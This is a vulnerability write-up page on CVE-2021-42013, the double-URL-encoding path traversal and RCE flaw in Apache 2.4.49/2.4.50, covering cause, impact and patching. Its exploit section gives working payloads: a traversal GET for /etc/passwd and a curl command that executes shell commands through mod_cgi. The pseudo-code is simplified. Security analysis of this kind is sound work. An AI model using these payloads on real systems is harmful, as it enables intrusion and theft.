CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2021-42013
9.894.41%

Apache's Déjà Vu: The Double-Encoding RCE (CVE-2021-42013)

Alon Barad
Alon Barad
Software Engineer

Feb 23, 2026·5 min read·6 visits

Active ExploitationCISA KEV ListedRansomware Use

Executive Summary (TL;DR)

A critical RCE in Apache HTTP Server 2.4.49/2.4.50 caused by an incomplete fix for a previous path traversal bug. Attackers use double URL encoding (%%32%65) to bypass filters and execute shell commands.

In late 2021, the internet was set ablaze when Apache HTTP Server versions 2.4.49 and 2.4.50 were found to be vulnerable to a trivial path traversal attack. CVE-2021-42013 is specifically the 'oops, we missed a spot' vulnerability—a bypass of the fix for CVE-2021-41773 using double URL encoding. This allowed attackers to map the file system and, in many cases, execute arbitrary code via mod_cgi.

The Hook: The Need for Speed

It all started with good intentions. In version 2.4.49, the Apache developers decided to refactor the path normalization logic in server/util.c. The goal? Performance. They wanted to speed up how URLs were parsed and validated. In the world of C programming, 'optimizing string handling' is usually code for 'writing a new vulnerability'.

When the first CVE (CVE-2021-41773) dropped, it was a classic path traversal. You could just ask for /cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd and the server would happily oblige. The internet panicked, and Apache quickly released version 2.4.50 to patch it. They added a check to explicitly look for the %2e pattern (which decodes to a dot).

But here is the punchline: Security is an arms race, and the attackers are usually one step ahead in creativity. The patch for 2.4.50 was a blacklist approach—checking for specific bad characters—rather than a robust architectural fix. They locked the front door but left the window wide open, assuming nobody would double-wrap the brick they threw through it.

The Flaw: A Tale of Two Decodes

The core issue lies in ap_normalize_path. This function is responsible for taking a messy URL like /images/./../icons/ and turning it into a canonical path like /icons/. To do this, it needs to decode URL-encoded characters (like %20 for space).

The vulnerability in 2.4.50 was a logic flaw in how this decoding interacted with the traversal check. The patch checked if the URL contained %2e (a dot). If it didn't, it proceeded to decode the URL. See the problem?

If I send %2e, the check catches it. But if I send %%32%65, the check says 'I don't see any %2e here' and lets it pass. Then, the decoding logic kicks in. The outer layer (%32 and %65) gets decoded into 2 and e. Suddenly, inside the memory buffer, we have %2e again. If the server does another pass—or if the downstream code handles the path—it sees .. (dot-dot) and traverses up the directory tree. It is the digital equivalent of smuggling a weapon past a metal detector by hiding it inside a plastic gun.

The Code: The Smoking Gun

Let's look at the logic flow that doomed 2.4.50. The vulnerability stems from the order of operations: Validation vs. Normalization.

/* Pseudo-code of the vulnerable logic in 2.4.50 */
status = ap_normalize_path(path, ...);
 
// The fix for CVE-2021-41773 checked for this:
if (strstr(path, "%2e")) {
    return HTTP_BAD_REQUEST;
}
 
// But later, or during recursion, decoding happens:
// Input: %%32%65
// First Decode: %2e
// Second Decode/Interpretation: .

The fix in 2.4.51 finally addressed this by ensuring that the validation logic accounted for the fully decoded state of the path, or by strictly enforcing that encoded dots are not allowed even if buried in layers of encoding. The developers had to stop playing whack-a-mole with specific characters and simply enforce that after all decoding is done, the path stays within the web root.

The Exploit: Bypassing the Filter

Exploiting this is embarrassingly simple. You don't need heap spraying or ROP chains. You just need curl and a basic understanding of ASCII.

The Magic String: %%32%65

  • % = The escape character.
  • %32 = Hex for the character 2.
  • %65 = Hex for the character e.

When the server sees %%32%65, it decodes the inner hex values first, leaving you with %2e. That gets processed as a dot.

Path Traversal (LFI)

To steal /etc/passwd, we just need to climb out of the web root. Note: This usually requires the mod_alias module to be mapped to a directory that isn't strictly Require all denied.

GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
Host: vulnerable-server.com

Remote Code Execution (RCE)

This is where it gets dark. If mod_cgi is enabled (which it often is on older setups or specific enterprise apps), we can invoke a binary. We aren't just reading files; we are executing them. By traversing to /bin/sh, we can pipe commands into the POST body.

curl -v "http://target.com/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/bin/sh" \
     -d "echo Content-Type: text/plain; echo; id"

If successful, the server replies with uid=1(daemon) gid=1(daemon). You now own the box.

The Impact: Why Panic?

This isn't just a read-only vulnerability. With RCE, the confidentiality, integrity, and availability impact are all effectively absolute.

  1. Full System Compromise: The RCE runs as the user Apache is running under (usually daemon or www-data). While this isn't root, it's enough to read source code, database credentials, and pivot to internal networks.
  2. Ransomware Entry Point: Since this is a simple HTTP request, it is scriptable. Ransomware gangs added this to their automated scanners within days of disclosure. It is the perfect initial access vector.
  3. Widespread Exposure: Apache is the backbone of the internet. While 2.4.49/50 were short-lived versions, many organizations utilizing 'latest' tags in Docker containers or aggressive update policies were caught in the crossfire.

The Fix: Stop the Bleeding

The remediation is straightforward: Update to Apache 2.4.51 or later immediately.

If you absolutely cannot patch right now (why?), you must restrict access to the filesystem using Require all denied directives in your httpd.conf, but honestly, relying on configuration to stop a binary vulnerability is risky business.

<Directory />
    AllowOverride none
    Require all denied
</Directory>

Also, disable mod_cgi if you aren't using it. It's 2024 (or close enough); you probably shouldn't be running raw CGI scripts anyway.

Official Patches

ApacheApache HTTP Server 2.4 vulnerabilities list

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
94.41%
Top 0% most exploited

Affected Systems

Apache HTTP Server 2.4.49Apache HTTP Server 2.4.50

Affected Versions Detail

Product
Affected Versions
Fixed Version
Apache HTTP Server
Apache
2.4.492.4.51
Apache HTTP Server
Apache
2.4.502.4.51
AttributeDetail
CVSS Score9.8 (Critical)
Attack VectorNetwork (Remote)
CWECWE-22 (Path Traversal)
Exploit StatusActive / CISA KEV
EPSS Score94.41%
ImpactRemote Code Execution (RCE)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1083File and Directory Discovery
Discovery
T1059Command and Scripting Interpreter
Execution
CWE-22
Path Traversal

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Known Exploits & Detection

MetasploitApache HTTP Server 2.4.49/2.4.50 Path Traversal RCE
Exploit-DBApache HTTP Server 2.4.49 - Path Traversal & RCE
NucleiDetection Template Available

Vulnerability Timeline

CVE-2021-41773 Disclosed
2021-10-05
CVE-2021-42013 Disclosed (Incomplete Fix)
2021-10-07
Added to CISA KEV
2021-11-03

References & Sources

  • [1]NVD Detail
  • [2]CISA KEV
Related Vulnerabilities
CVE-2021-41773

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.